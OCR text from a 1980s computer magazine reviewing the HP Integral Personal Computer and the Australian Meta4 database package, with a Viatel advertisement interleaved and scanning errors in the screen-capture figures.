able action and ‘feel’, and there is nothing 
unusual about the layout which would dis- 
courage a touch typist. 

The optional mouse is a two-button 
type, which, while it has a metal ball, is not 
nearly as noisy as the Microsoft mouse. I'm 

afraid Apple has sold me on the idea of 
mice only having one button, and | find the 
confusion of remembering which button 
performs which function at which time is a 
wonderful example of the outmoded soft- 
ware interface which mice are supposed to 
help us avoid. 

To add to the confusion, the mouse on 
our test machine suffered from bounce; 
that is, clicking the mouse once would 
result in either two clicks or none as far as 
the machine was concerned. This made 
some operations slightly chancy or confus- 
ing; but of course, mouse-less operation is 
always possible, unlike with some 
machines. In any case, this was just one of 
these hardware failures that crop up from 
time to time on evaluation machines, 
which are generally subjected to quite a 
pounding. 

Under the Hood 

Internally, the Integral is based on a 
Motorola 68000 processor running at 8 

MHz, with 512 Kbytes of main memory and 
32 Kbytes of screen memory. Memory ex- 
pansion is possible up to a maximum of 
7.5 Mbytes, and the system actually uses a 
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proprictary HP memory management cir- 

cuit for faster operation than the Motorola 
6845 | 

The machine's two internal expansion 
Slots can provide up to 1.5 Mbytes of inter- 
nal memory; further expansion is achieved 
through an expander box which provides 
five slots and sits under the machine. 

Despite the density of the circuitry in- 
side the box, it remains remarkably cool 
when opcrating. The electroluminescent 
display runs just warm to the touch, and 
the internal circuitry is cooled by a small 
fan which | did not realise was in there 
until | read about it. Of course, this may be 
because of my Compupro system with its 
disk drives and fans whirring just five feet 
away. 

Standard Software 

Our evaluation system was supplied with 
the HP-UX Unix implementation and 
some utilities and applications software. 

The idea of a Unix system implemented in 

ROM rather piqued my curiosity; while 
Unix itself is not particularly memory- 
hungry, many of its features do rely on 
RAM for operation. 

The Unix kernel is actually stored in 256 
Kbytes of ROM; without it the system 
would be unworkable. However, HP’s soft- 
ware gurus have extensively worked over 
the System III upon which HP-UX is based 
and performed some major surgery on it. 
Perhaps the most significant aspect of this 
is the reconfigurability of the system; it is 
possible to make major modifications to 
the system such as installing device driv- 
ers on the fly. Of course, Unix itself assists 
considerably; this feat would not be possi- 
ble with most other operating systems. 

Booting the system with no floppy in the 
drive brings up the ROM-only version of 
the system. The root directory contains 
just three subdirectories: dev, rom and 
tmp. Dev contains the device drivers: beep- p> 

SPECIFICATIONS AND REPORT CARD 

Unit: Integral Personal Computer 

Made by: Hewlett-Packard Corvallis Division 

Processor: 68000 

Clock speed: 8 MHz 

RAM: 512 Kbytes main, 32 Kbytes screen 

ROM: 256 Kbytes containing HP-UX operating system 
/O: through HP-IB, plus optional serial port 

Languages: C, BASIC 

Keyboard: 90-key QWERTY 

Display: 512 by 255 pixel electroluminescent 

Peripherals: all HP-IB disk drives, printers, plotters, and so on 

Expansion: two slots internal, plus five-slot expansion box 
Best points: PAM makes Unix friendly, Unix makes PAM 

powerful 

Worst points: Disk speed 

Ratings: poor good very good excellent 

Documentation | 

‘Ease of Use 

Functionality 

Support 

Value-for-money 

Extras included: Mouse 

Options: Mouse, expansion box, more RAM, and so on. 

Price: $11,637.10 

Review unit from: Hewlett-Packard, 47 Talavera Road, North Ryde 

2113. (02) 888 4444 



er, gpu (which manages the screen win- 
dows and graphics), hpib, plotter and so 
on. 

The rom directory simply contains two 

programs: PAM (Personal Applications 
Manager) and ‘scan-discs’, while tmp is the 
internal memory drive. 

If a disk is present during the system 
cold boot, the Integral will look for a start- 
up program on the disk and execute it if it 
is present. Otherwise the PAM program 
gets control. 
PAM is the primary user interface for the 

Integral. Although both the Bourne and C 
Shells are supplied on the HP-UX Operat- 
ing System Commands disk, they are both 
run as applications rather than as the 
primary user interface. 

PAM works well. It allows the user to 
type commands into acommand line, orto 
use the mouse to point to files and then 
select an activity from the menu line at the 
bottom of the screen. Two menus are pro- 
vided: the ‘User’ menu lets you start a 

program or view a data file, move files, 
copy, delete and rename them, while the 
‘System’ menu allows the manipulation of 
windows on the screen. 

Running an HP-UX command from PAM 
causes the system to create a new window 
to contain output from the running prog- 
ram; but the PAM window stays in the 
background, and you can now bring it to 
the foreground and perform other PAM 
tasks or run other programs. This provides 
a very simple approach to the multi- 
tasking capability of Unix coupled with 
the ability to run multiple full-screen prog- 
rams at once, rather like the Blit terminal 
or the Apple Lisa. 

HP-UX is supplied on five floppy disks 
which are logically organised into the driv- 
ers disk, commands, utilities (disk format- 
ting and so on), standard applications and 
diagnostics. The standard applications in- 
clude a MacDraw-like graphics program 
called GraphicArt, Adventure, the ed line- 
oriented editor, a game called Mille, an 
RPN (what else!) calculator and the vi full- 
screen editor. 

We also received the MemoMaker word 
processor with our evaluation machine. 

This well-known program is also available 
for HP’s 150 and 110 PCs, and presumably 

for the other Unix systems in HP's line 
While very simple to use — in part because 
of its reliance on the soft keys at the bot- 
tom of the screen — MemoMaker is quite 
powerful. 

Having sampled the power of the PAM, 
we immediately tried running multiple 

112 

THE INTEGRAL 

programs at once. Booting up and running 

PAM, we then inserted the MemoMaker 
disk, and started that program. Then we 
started the RPN calculator, which popped 
up in a small window in front of Memo- 
Maker. Another disk swap enabled us to 
bring up the Bourne shell and use HP-UX 
directly from the command line. 

With just a single keystroke it is possible 
to switch between windows and cycle 
through the various programs currently 
running. Alternatively, clicking the mouse 
on an exposed area of a window brings it to 
the front and makes it the current window. 
Very nice, very simple, very powerful. 

Performance 

While we weren't able to benchmark the 
Integral (we didn’t have the C compiler to 
run our standard benchmarks), we were 
able to form some general impressions 
about the system's performance. 

As you would expect from an 8 MHz 
68000, the system’s processor perform- 
ance is good. The system responds im- 
mediately to commands, and mouse 
movements update the screen very quickly 
and smoothly. The electroluminescent dis- 
play has a very short persistence, which 
makes the mouse movements even better 
—a liquid crystal display would have been 
disastrous. 

Disk performance leaves something to 
be desired; a hard disk would provide 
much better performance, provided the 
HP-IB link does not prove a bottleneck. 
However, once commands and files have 
been transferred into /tmp, the memory 
disk, everything is much faster — at the 
expense of main memory. One minor 

drawback is that memory is not preserved 
during power-off, unlike many other HP 
products; but I can still see a lot of Integ- 
rals being bumped-up with a megabyte or 
more of memory just for the speed im- 
provement. 

Our Opinion 

After using the Integral for a couple of 
days, we are impressed. We are heavy users 
of ‘power machines’, and expect such fea- 
tures as virtual consoles, windows and 
multi-tasking from any machine we intend 
to use. Bearing this in mind, we have been 
trying to forecast the likely operating sys- 
tem for the next generation of PCs: will it 
be a multi-tasking version of MS-DOS? 
How about Digital Research’s Concurrent 
CP/M and Concurrent DOS, which are here 
and working now? Or can Unix make the 
transition from the multi-user minicompu- 

ter environment to the single-user person- 
al computer? 

While we are still inclined to put our 
dollars behind Concurrent DOS as an ex- 
cellent operating system for multi-tasking 
single-user PCs — especially bearing in 
mind that it can run Lotus, WordStar, and 
so on — Hewlett-Packard has shown that 
an extended version of Unix can make an 
effective single-user operating system. The 
PAM extensions which provide window 
management and simple control of multi- 
tasking provide a simple, user-friendly way 
to manage the power of Unix. 

The major question still unresolved ab- 
out the Integral is how much software sup- 
port it will attract. HP says Multiplan, 
dBase III and other software are on the 
way; and of course a lot of standard Unix 
software can be run immediately. If it 
attracts the right support, it will do very 
well. Bearin mind also that Lotus Develop- 
ment Corp is known to be close to com- 
pleting a Unix-based integrated software 
package similar to Symphony, and the In- 
tegral would be an ideal machine for this 
kind of software package. 

The price, $11,637.10 (it seems HP is 
precise in its pricing as well as its en- 
gineering), will put it out of the range of 
many general purpose users. But for spe- 
cialist and heavy-duty users, the Integral 
represents excellent value. Its hardware is 
spectacular in execution. It is well de- 
signed, solidly built, and puts exactly the 
features a user needs in a compact pack- 
age. HP fans will recognise the same quali- 
ty as found in earlier HP products, and a 
combination of innovation and standar- 
disation which should place this machine 
solidly on the map. O 

Table |. HP-UX commands. 

cat more 

chgrp mv 
chmod mvdir 
chown nice 

chroot pr 
ps 
pwd 
rm 

rmdir 

sh 

stty 

tail 
tee 
touch 
tr 

wc 



THE GREAT DATABASE SEARCH 

META4 
A Database Adventure 

This month the Great 
Database Search turns 
the spotlight on a 
locally-grown product 
which combines innovation 
and adventure to produce 
a system which might just 
be the way of the future. 
Jeff Richards assumes the 
dual mantle of writer and 
architect to guide us 
around Meta4. 
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META4 IS an Australian-developed, 
fourth-generation database package. It is 
described as ‘The Australian Database 
Adventure’ and anyone familiar with the 
‘Dungeons and Dragons’ adventure games 
will feel right at home in the unusual en- 
vironment of Meta. 

The package qualifies as a fourth- 
generation system because it is genuinely 

usable as a tool, with minimal training. It 
merits the name ‘meta’ by going beyond 
what is usually expected of either a prog- 
ramming system or a database manage- 
ment system 

Meta4 is not an easy product to describe 
— in fact, it is easier to use than to talk 
about. The author has deliberately chosen 
to express the concepts of the system in 
non-database terminology. This decision 
is subject to the criticism that it introduces 
yet another set of terms, but the way Meta4 
operates is sufficiently different from most 
systems to justify the new terminology. 

Hence the second dimension of the 

name — Meta4 is described entirely in 
terms of the metaphor of the database as a 
building, with rooms, objects in the rooms 
and doorways between rooms. With the 
addition of some user-defined treasures 
and dragons, the analogy with a dungeon- 
style adventure is complete. 

The use of a metaphor to describe the 
system is more than just a learning aid. 

The whole package really is like a series of 
buildings — the rooms are identifiable en- 
tities defining data structures and storing 
records; the doorways are both pathways 
for moving among different structures and 
communication channels for exchanging 
data with other structures. What first 
appears to be a rather cute expression, 

with no other purpose than to distinguish 
Meta4 from other similar packages, turns 
out to be a powerful and useful analogy. 

The documentation is careful not to de- 
scribe Meta4 as a relational database. This > 
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The Viatel Option is a hardware/software 
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transmission, offering organisations and individuals 
a window to the world of computer communications 
and data base access, heralding a giant leap forward 
in telecommunications. Networks, a buzz word of 
not long ago are now a reality. Telecom’s Viatel 
Gateway now links microbee’s in Homes, 
Businesses and Schools with Viatel Service 
Providers, offering services, information and goods 
as many as they are varied. The communications 
horizon has indeed increased for microbee users. 



information and services available through the 
central Viatel computer. 

Information is received through your microbee 
personal computer fitted with the Viatel Option. 
You can even have a printer connected to your 
microbee. 

Viatel system. Enter your personal password and 
you get the index. From here you can call up 
information from hundreds of different sources and 
see it displayed on your screen. It’s that simple. 

A registered Viatel user can enter the system from 
anywhere in Australia for the cost of a local phone 
call. 24 hours a day. All you need is your password 
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the system. And you're not limited to 
communicating just with the people who provide the 
information. You can also send messages to other 
Viatel users. And remember, with Viatel, all your 
communications are instant and confidential. 

You can bank, shop, learn and exchange ideas on a 
microbee, fitted with the Viatel Option. What’s 
more, you can first store, then retrieve a number of 
screens of information for use later when off-line. 
This particular feature will prove a real boon to 
those monitoring exchange rates, weather patterns, 
stocks and commodity prices. 

Already in use in Western Australian Schools, 
microbee’s with beemodems are linking together in 
information exchanges and speeding up inter school 
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reluctance is most refreshing, given the 
current tendency to describe any database 
referring to more than one data structure 

at a time as relational. The term used to 
describe Meta4 is ‘network’ — a good de- 
scription of a system providing the capa- 

bility of many more relationships than are 
usually manageable in a procedural data- 
base system, while still requiring users to 
construct the desired relationships for 
themselves. (A fully relational database 
would automatically assume all possible 
relationships without prompting from the 
system designer.) 

The most distinctive feature of Meta4 is 
it is entirely non-procedural. Everything is 
done by defining database structures and 
relationships between items in those 
structures. There is nothing similar to the 
command files of dBase or other proced- 
ural database languages. 

The Basic Building Blocks 

There are six basic data structures in 
Meta4. Firstly there is the building. Tech- 
nically, this is a single disk file. To the user, 
it will be a single application. It could be 
referred to as a single database, but be- 
cause it can include an enormous variety 
of different data structures, it goes some- 
what beyond what is usually meant by a 
database. 

Within the building will be a number of 
rooms. These are basically places where 
things are stored, though empty rooms are 
also widely used. The things stored in a 
room all have the same data structure. This 
structure could be very simple, as in the 
case of aroom used as a table (as in analy- 
tical display, not as in piece of furniture) for 
checking valid responses. Alternatively, if 
the room contained the main database 
items the data structure could be extreme- 
ly complex. 
Rooms can have doorways. Doorways 

are both a means of moving between 
rooms, and passages along which informa- 
tion can be sent. They are best described 
as relationships between rooms or, more 
strictly, between objects in rooms. Door- 
ways can be simple, automatic or magic. 
Simple doorways function precisely as you 
might expect — they permit movement 
between rooms. Automatic doorways are 
the devices by which records in related 
rooms are ‘associated’ for reference or up- 
dating purposes. Magic doorways are used 
to open a passage into a user-nominated 

room. The power of the doorways — parti- 
cularly the automatic doorways — is what 
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Meta4 is entirely 
non-procedural. 

Everything is done by 
defining database 
structures and 

relationships between 
items in those structures. 

would entitle Meta4 to claim to be a re- 
lational database. 

Within rooms are records. These are 
usually described as objects, because they 
can take on an enormous variety of types. 
The simplest and most common form 
would correspond to a record in a file. 

Within records are questions and 
answers (the metaphor is getting a little 
shaky here). These would correspond to 
data items (or fields) in a record, but the 
different forms they can take in Meta4 jus- 
tify the introduction of the alternative 
concept of questions and answers. 

Each record also contains an ID, or iden- 
tification code. This would normally be cal- 
led a key, but in Meta4 the ID might be the 
key by which the item is located or it might 
be a compound key derived from the sys- 
tem’s knowledge of the pathway (sequence 
of rooms) by which the item was accessed. 
All records in Meta4 have an ID, and in 
some cases it can become a very complex 
collection of labels. 

Dual Mode Operation 

When operating, Meta4 has only two 
modes. The first is called LIST and is auto- 
matically selected when a room is entered. 
In this mode the objects in the room are 

Main Menu roam 

This is £MM] - The Main Menu room. 

listed on the screen, one per line. If there 
are too many to fit on a screen, the display 
pauses and waits for the operator to press 
a key. 

Alternatively, on entering a room the 
Operator can nominate a LIST control pa- 

rameter that produces a selective list. This 
parameter operates on any part of any field 
(or ‘answer ) and causes only those objects 
satisfying the parameter to be listed. When 
the list appears, if it contains more than 
one object, the operator can select the 
required one by nominating either its line 
number or its ID. This object becomes the 
current object, and all further operations 
refer to it. 
When the object is selected, the system 

changes to DISPLAY mode and the details 
of the object are displayed to the screen. If 
an ID was nominated and the object does 
not exist, the operator will be invited to 
create it. If the object was found, it can be 
edited by nominating the ID or line num- 
ber of the question to edit. 

This default mode of operation means 
the system is always in the add/edit mode 
in rooms which contain objects. This mode 
is also equivalent to an enquiry mode, and 
it corresponds to a search/report mode 
because the list control parameters pro- 
vide powerful control over the records 
appearing for selection. 

When in display mode the screen dis- 
plays the doorways created in the room. If 
a room contains no objects, only the door- 
ways are displayed; such a room is a 
‘menu’ room. A menu room might also 
have a single object in it, in which case the 
list phase is bypassed and the details of 
the object displayed. This is the case in the 
master menu (see Figure 1), where the 
single object is the status record contain- 
ing the date and the system name. These 
details can be edited whenever the system 
is at the master menu. 

DISPLAY MM -- 

This 1S where you start in Metaéd. 

You get to other rooms by choosing a DOORWAY, eg C33. (3 then RETURN) 

LDAT] Today’s Date 31/01/1985 

CCON] Owner Name YOUR COMPUTER-JEFF RICHARDS. LICENSE# 1196 

The BUILDER’s room 

Meta& SYSTEM room 

The TUTORIAL room 

1 The USER’s room 
REPORTS and [MPORT/EXPORT 

C? or Fij tor HELP; 

Chaose one af the above [Ccodes] to go on. 

F2] to GO BACK; reter HELP tor more 

2 eae 

Figure |. Meta4’s Main Menu. Note it contains one object (with two records — date and 
owner's name), as well as doorways. 



Automatic Doorways 
The ability to create rooms containing ob- 
jects is very much what all competent 
database systems are about. The power of 
Meta4 is only fully utilised when we start to 
use doorways from rooms containing ob- 

jects. 
One example used in the manual is a 

vehicle service history register. In this style 
of application we have a definite number 
of primary objects — vehicles. Each prim- 
ary object will have a variable number of 
associated objects — the details of each 
service undertaken. 

In a typical database system we have 
two choices. We can make the data record 
for the primary object large enough to con- 
tain the maximum likely number of ser- 
vices, or we can create a related secondary 
file that can be searched or indexed in a 
manner which makes it possible to collect 
together service details for the same 
vehicle. 

The first choice is wasteful of space, and 
will eventually fail when one vehicle record 
runs out of room for additional service 
details. The second approach is the prefer- 
red one, and it is the approach Meta4 
naturally encourages. 

In Meta4, a room would be defined for 
vehicle details. A second room would be 
created with a structure to suit service de- 
tails. By putting a doorway from the vehicle 
room to the service room, we create an 

automatic relationship between vehicles 
in the vehicle room and service details in 
the service room. This link is virtually in- 
visible to the user, because of the way data 
entry and enquiry operates. 

Remember, the doorway is from the 
vehicle room to the service room. On en- 
tering the vehicle room, Meta4 goes 
straight into the list mode. It only progres- 
ses to the display mode when an object is 
selected from the list. When the object is 
selected, its details are listed and the 
doorway is also displayed. Thus entry to 
the service room is only possible after a 
vehicle has been nominated. The only 
items displayed when the service room is 
entered are those objects related to the 
vehicle selected when we were in the vehi- 
cle room. The process is easier to do than it 
is to describe! In summary, the steps are: 

1. Select the vehicle room from the main 

menu, and the list of all vehicles is dis- 
played. 

2. Select the desired vehicle and its de- 
tails are listed, together with the doorways 
to other rooms. 
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Most confusion in Meta4 
is not of the form “How do 

I do this?”, but rather, “I 
know what to do, but 

where to | have to go to 
do it>?” 

3. Check the vehicle details and edit if 
necessary. 

4.Select the menu option to move to the 
service room. 

5. The list of all services for this vehicle is 
displayed 

6. Select the service to be edited, or 
nominate a new ID (probably the date) and 
add a service record. 

Note the ‘process’ of adding a record to 
the database has been defined by the rela- 
tionship expressed by the doorway, not by 
a set of sequential steps. Note also the key 
of the service required will consist of the 
vehicle ID and the service ID, but because 
entry to the room is only possible after 
nominating u vehicle, the operator deals 
with the service ID only. If we had some- 
how come into the service room without 
going through the vehicle room, we would 
have all service records for all vehicles dis- 
played and available for editing (but 
adding new service records would be im- 
possible). 

In the service room, one of the questions 
might be “What is the code of the em- 
ployee who worked on the vehicle?”. To 
ensure data integrity, this code should be 
checked aguinst a list of valid employee 
codes. This is done in Meta4 by defining a 
doorway from the service room into a room 
containing employee details. If the door- 
way is defined correctly, Meta4 will display 
a list of valid employee codes and will 
force the input in the service record to 

match one of the employee codes in the 
employee room. The employee name can 
be displayed for operator confirmation, or 
the name (or other details) can be auto- 
matically copied into the service record. 

At the same time, information in the 
employee room, such as hours worked this 
week, can be updated from data entered 
into the service record. All this transfer of 
data back and forth is controlled by the 
doorways created in each of the rooms. 

For maintaining the employee details, 

the employee room would have another 
doorway into it from a separate menu — 
the rules about how doorways can be cre- 
ated are extremely flexible. However, there 
is usually only one way of entering a room 
which allows creating new records. This is 
because the key of the new object is prob- 
ably a compound of the object ID and the 
IDs of objects at higher levels in the 
hierarchy. 

Modifications Made Easy 
Although this approach is very different 
from other database schemes, in practice 
it becomes a simple and obvious way to 
operate. For the vehicle service history 
type of situation it is an ideal technique; a 
little practice with the system soon reveals 
how applicable the approach is to data- 
base requirements which at first don’t 
appear to fit the above pattern. 

For example, even the simple case of 
maintaining names and addresses can use 
multiple rooms and doorways. The primary 
record may be the customer's name and 
personal details, while a doorway to an 
address room provides a means of main- 
taining a variable number of address lines, 
or even multiple addresses, without a 
space penalty that would apply if each cus- 
tomer had a fixed number of address lines. 
Meta4 uses a variable length data storage 
technique that always squeezes trailing 
alpha fields in an object back to the mini- 
mum length they actually require, so the 
storage savings of such a scheme usually 
outweigh the additional overhead of defin- 
ing extra database structures. 

One advantage of this approach is the 
ease with which you can extend applica- 
tions. If the vehicle service history applica- 
tion were expanded to include customer 
billing, the process of entering the service 
record could be used to create billing 
transactions. The vehicle room could have 
an additional doorway created to allow 
updating of customer details when vehi- 
cles are added or edited. This link from 
vehicles to customers is then used in the 
service room to create billing transactions 
(via a doorway) in a customers’ transac- 

tions room. Reports using the data in this 
room are used as the customer statement. 
A doorway from the transactions room to 
the service room could be used to extract 
service details for this statement. 

A little thought about applying the 
approach used by Meta4 to familiar sys- 
tems quickly indicates how powerful it 
could be. The storage of the manual on the 
distribution disk indicates how it can be > 
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used as a word processor. The distribution 
disk also includes a demonstration of a 
spreadsheet, and the reporting facility 
supports a graphing function. 

<BLD>Builder’s room 

This is CBLO] —- The Builder’s room. You come here to madity the 
design of any of your Buildings, Rooms; HELP text>» Questions» 

Allawed Values,» Doorways, Ete. It holds ane record tor each building. 

IBIDIBuilding File-NamelOiBuilding Name 
con | eer | mer rn nn nn nm) en eer 

CiJiIGUS!| C:BUSINESS.BLD IYI/IBusiness Building (Sample anly - change to your r 

C2J!1GLO! C:GLOSSARY.BLD IYIGlossary/Index 
C331SyYsl C:SYSTEM.BLD IN| The Metad System 

C4)!TuU1) C:TUTOR1.BLO 1Y¥|Meta& Tutorial 1 - 

CSJ!TUZI C: TUTOR. BLD (Y¥(Meta& Tutorial 2 - 

CéJ!TU3! C:TUTOR3.BLD lYIMeta& Tutorial 3 - 

C7I1TU41 C: TUTOR4.BLD \Y¥iMeta& Tutoria!l 4 - More Advanced Examples 

C8IJ!ITUSI| C:TUTORS.BLD l\YiMeta& Tutorial S - The CUSTOM Report Generator 

£? or FiJ tar HELP» (# or F2] to GO BACK> refer HELP tor more 

Enter Line-No or Code, or press RETURN..C J 

The Learning Process 

The critical question is, of course, how easy 
is it to use? As might be expected, the 
answer is that it is easy to use for simple 
applications, and can become quite diffi- 
cult for complex applications. 

In comparing Meta4 with other database 
packages, it is useful to break the system 
into its different areas. In some aspects it 

compares very well, and in others less so. 
The process of creating a new applica- 

tion, entering data and redisplaying it ina 
suitable form is as easy as any other data- 
base system | have used, and easier than 
many. It is possible for a novice to get 
Straight into database construction with 
very little instruction, and start doing use- 
ful things. This applies even to the level of 
simple doorways for a hierarchical data 
structure. 

This is possible because of the design of 
the building construction process. By 
going into the builder's room and select- 
ing each choice in turn, then answering the 
questions with whatever sounds about 
right, a room can be quickly constructed. 
The novice will come unstuck when she or 
he tries to get into the room and add ob- 

Building 

Using the System 

Designing Systems with Metad 

Simple Examples 

Figure 2. Meta4’s Builder's Room — in list mode. It is set up for hard disk drive C. 

<BLD>Builder’s raam 

DISPLAY BLO-- 
This is CBLO) - The Builder’s roam. You come here to modify the 
design ot any af your Buildings» Rooms, HELP text>, Questions, 

Allowed Vaiues,» Doorways, Etc. It holds one record tor each building. 

CB1IDJ Building 10 (eg ABC) 

COBFIJ Building File-Name. (e9 B:ABC.BLD)..C:BUSINESS.BLD 
CDBM) Stop tor diskette to be mounted Y 

CDOBN] Building Name Business Building 

Building Description & Map 

Room Design raom 

Report/Selection Design Room 

C? or F1j tor HELP, 

Choose one of the above [codes] to 

F2J] toa GO BACK,» refer HELP for more 

go on..C___] 

Figure 3. Meta4’s Builder's Room — in display mode (selected record is BUS). Note the 
help text at the top. 

<BLO>BUS<RM.>Room Design Raom 

Room Design Room 

Please mount disk: C:BUSINESS.BLD> then Press RETURN.. 

IRI lHelptul |Re-dispiay|Update!*Room Name 
= | yeasts | ines ese. 

CiJ/ASS| N JAssets & Liabilities 
jects! Until a doorway from an existing 
menu has been created, the room will be 
apparently inaccessible. Once this hurdle 
is overcome the determined experimenter 
can go a long way before being forced to 
consult the manual. 

The preferable procedure is to follow the 
manual faithfully. This appears to be a 
daunting task, as it is over 200 pages long 
and seems to be mostly tutorial. Some 
experience with the system soon shows 
why the tutorial section is so large and the 
reference section so small — the system 
has only a small variety of operating mod- 
es, with a correspondingly small range of 
commands. There is nothing resembling 
the list of commands and their detailed 
explanations found in dBase. 

The tutorials are a good balance of suit- 
able guidance without the condescending 
attitude often found in such material. For 
much of the tutorial, the learner uses a 
database of his or her own design — the 
tutorial does not use many specific exam- 
ples but invites the user to “insert your 
own application here’. Nonetheless, there 
is a good range of example applications 
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C2]18US| 
C37 1CAD! 
C4]1CNM| 
CSJ]1Coo! 
C&J1CONI 
C7J1Cus| 
C81 0UM! 
C9JIEND| 
1OJ1EXPI 
1IJIILNI 
12] 1 1NM| 

Enter Line-No or Code, or press RETURN..£ 
*Room ID (eg PQR) 5 «RID 

I1Business Building Menu 

[Customer address 
|\Customers by name 

|Our Company Identification 

1Our Company Name and Address 

{Customers by number 

|Dummy room tor report spacing 

I\Standard ending tor letter 

{Regular Expenses Spreadsheet 

lInvoice Lines 

l!Invoices by Number 

C? or F1lj tor HELP> C# or FZ] to GO BACK, reter HELP tor more 

<BLO>BUS<RM.>Room Design Room 

Re-display.record an entry.. 

Update.allowed by Operator. 

*Room Name 

C J 

Customers by number 

C7? or Fil tor HELP, C# or 

Choose one of the above Ccodes] toa 

Doarway Design Roam 

Question/Answer Design Room 

Room HELP text 

Figure 4. Meta4’s Room Design Room — in list mode (record = BUS). 

DISPLAY RM.-- 

.Y (Yes, all update operations allowed) 

F2) to GO BACK, reter HELP tor more 

g90 oan. Kee J 

Figure 5. Meta4’s Room Design Room — in display mode (record = BUS,CUS). Note 
that each room has doorways, questions and answers, and help text. 
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<BLD>BUS<RM.>CUS<DO.>Daorway Design Room 
Se a ee, ee Oe eee Doorway Design Room-~-~-------------LISTING DO.-- 

This room contains one record tor each doorway between two rooms. 

Doorways are used ta make menus, keep totals, vedate other rooms; 

to run programs and execute Meta4 commands. 

(the [DO.J room), having selected the room the doorway COMES FROM. 

IOLNIOBFISRIIRIOITONIRISIName on Door to next roam 

won| een been bene be le lemme lol ae | ene nnn nnn en nn ne - ee 

CiJIO10IBUSICADIYIY! NNINI [Address 
C2ZJIOZO0IBUSICNMININI YNINI ICustomers by name 
C3JIGQ30IBUSIINVIYIYI NNINI IInvoices 
C4I/O40IBUSILETIYIYINNNINI ILetters to this customer 
CSJIOSOIBUSINOTIYIYINNNINI [Notes on this customer 

eocccc--- C? or FilJ tor HELP, C# or F2] to GO BACK, reter HELP tor more 
J Enter Line-No or Code> or press RETURN..C_. ___. A 

Figure 6. Meta4’s Doorway Design Room (record = BUS) 

<BLO>BUS<RM. >CUS<DO.>Doarway Design Room 

rr re Doorway Design Room------------7----DISPLAY DO.-- 

: This room contains ane record tor each doorway between two rooms. . 

Doorways are used to make menus, keep totals: update ather rooms» : 

2 ta keep indexes in ather sequences, to copy dete trom other raams; and 7 

Z to run programs and execute Meta4d commands. Z 

, Doorways can be CONDITIONAL; only used under certain circumstances. 
2 Whenever you want to make a doorway,» you make an entry in this room : 

, (the [DO.J room), having selected the room the donrway COMES FROM. : 
5D aa mi meme eh em ie em mu ms ms sem es hs semi in em - sic am Gn ms ems femme“ ceca ee ae ee a me a a i se Se mn ] 

COLN] Doorway Line No... .. ccc ee eee 10 
COBF] Going to Building-I0: (or ’RUN’)..... BUS 
C$RIJ Going to ROOM-ID..................... CAD 
CRLJ Will See more than 1 Reed thru door..Y 
COW] Check next room empty betore delete..Y 
CTON] Automatic Doorway Options............ NN 
CRLCJ LIST CONTROL required on entry....... N 

CSLC] Other Doorway Options................ 
CRNJ Name on Door to next room............ Address 
erecc----- C? or F1jJ tor HELP, C# or FZ) to GO BACK, reter HELP tor more--------- 

Choose one of the above [codes] to g0 an..C_ J 

Figure 7. Meta4’s Doorway Design Room — in display mode (record = BUS,CUS,010). 

<BLD>BUS<RM.>CUS<IT.>Question/Answer Design Room 
mo --- + ee Question/Answer Design Rnom-------------LISTING IT.-- 

, Each record here represents a question to be asked in the room. Note 

3 that ID Questions must come tirst» and in order of SusoLtieence: 

IQNOIQIDIML ITITIBITIDICISILIQuestion Text 

C1JIOIOICNO! SINIYINIYIYIYIYIY!CustNo 
C2ZJIOSOIAIO! 1OIXININIYIYVIYIYI YI Alpha ID 
C3JIO4OINAM! 3OIXININIYIYINIYIYI#Full Name 
C4J1IOSOICROI 1ILINIYIYVIYVIYIYIYIiCredit code 
CSJIO6DISTAI LIXINIYIYIYIYIYIYIStatus code 
C6JIO70IFOTI SBIDINIYIYVIYIYVIYIYIFirst contact date 
C7JiOBOIPHO! 141XINIYIYIYIYIYIY! Phone 

70 
Saceockes 1? or Fil) tor HELP», [C# or F2]) to GO BACK. reter HELP tor more- 

J Enter Line-No or Code» or press RETURN. .C_ 

Figure 8. Meta4’s Question/Answer Design Room — in list mode ‘(record = BUS, CUS). 

<BLD>BUS<RM. >CUS< IT. >Questiaon/Answer Design Rom 

SSS SS Soe ee ea Question/Answer Design Room-------------DISPLAY 1T.-- 

, that 10 Questions must come tirst» and in order otf signiticance. 

CQNO] Question Number (eg 010)... 010 
CQIDJ *Question 10 (eg XYZ)...... CNO 

CMLJ Maximum LENGTH............. 6 
CTYP] Answer TYPE................ N (Numeric) 

COECJ] DECIMAL PLACES............. 

C10] Is this an ID Question..... Y 
CBLJ Can Answer be BLANK........ N 
CIN] Is Answer to be KEYED IN...Y 
COS] Is Answer to be DISPLAYED. .Y 
CCAP] Convert ta CAPITALS........ Y 
CST] Is Answer to be STORED..... Y 
CLIJ Is Answer to be LISTED..... Y (Listed normally) 

CQTX] Question Text.............. CustNo 

J Question HELP Text 
C2} CLU.J Lookup ditt.room-Data Type T>U 

J] Allowed Values -Data Type L>K 
C4] C J] Return to Main Menu 

Sess s6S> C? or F1J tor HELP; C# or F2) to GO BACK, reter HELP tor more 

Choose one of the above Ccodes] to go on..C___J 

Figure 9. Meta4’s Question/Answer Design Room — in display mode (record = 
,CUS,CNO). Note that each question can have help text included. 

to keep indexes in ather sequences; to copy dete trom other raoms; and 

Doorways can be CONDITIONAL» only used under certain circumstances. 
Whenever you want ta make a doorway, you make an entry in this room 

~. yee ye ye Ye Ne 

4 

Each record here represents a question to he askad in the room. Note , 

BUS- 

supplied with the system, ranging from a 
telephone list through to a cash book. 

One of Meta4’s most unusual aspects is 

also a big help in learning to use the sys- 
tem. Meta4 uses its own procedures to 
create and maintain the data dictionaries 
that define the user's data structures. In 
database terminology, the data dictionary 
is a reference file defining the structure of 
the system. It will contain information ab- 
out what database structures exist, what 
data items will be contained in each re- 
cord, the size and format of the data item, 
the allowable values that can be entered 
into each data item, and so on. In Meta4, 
this information is stored as records in a 
file in precisely the same way as the user's 
mailing list of names and addresses might 
be stored as records in a file. 

Design Limitations 

There is no screen formatting procedure in 

Meta4. Although the text of the questions 
is controlled by the system designer, the 
format of the screen is fixed. This is not 
nearly the restriction it might seem — in 
fact it has a number of advantages. One 
limitation is that the number of questions 
plus doorways per screen should be kept 
to less than about 20. However, this limita- 
tion has a payoff in forcing a modular style 
of database design. 

The fixed screen format means the data- 
base structure is created, edited and listed 
in precisely the same way as you would 
create, edit and list your mailing list re- 
cords. In addition, the questions asked 
when constructing a database are also re- 
cords ina file. If you feel a system question 
is ambiguous, or a system menu heading 
doesn’t contain enough detail, you can 
edit the appropriate database objects and 
change it. If you decide to change your data 
Structure, it is as simple as changing an 

entry in a database. 
The reason for calling the contents of 

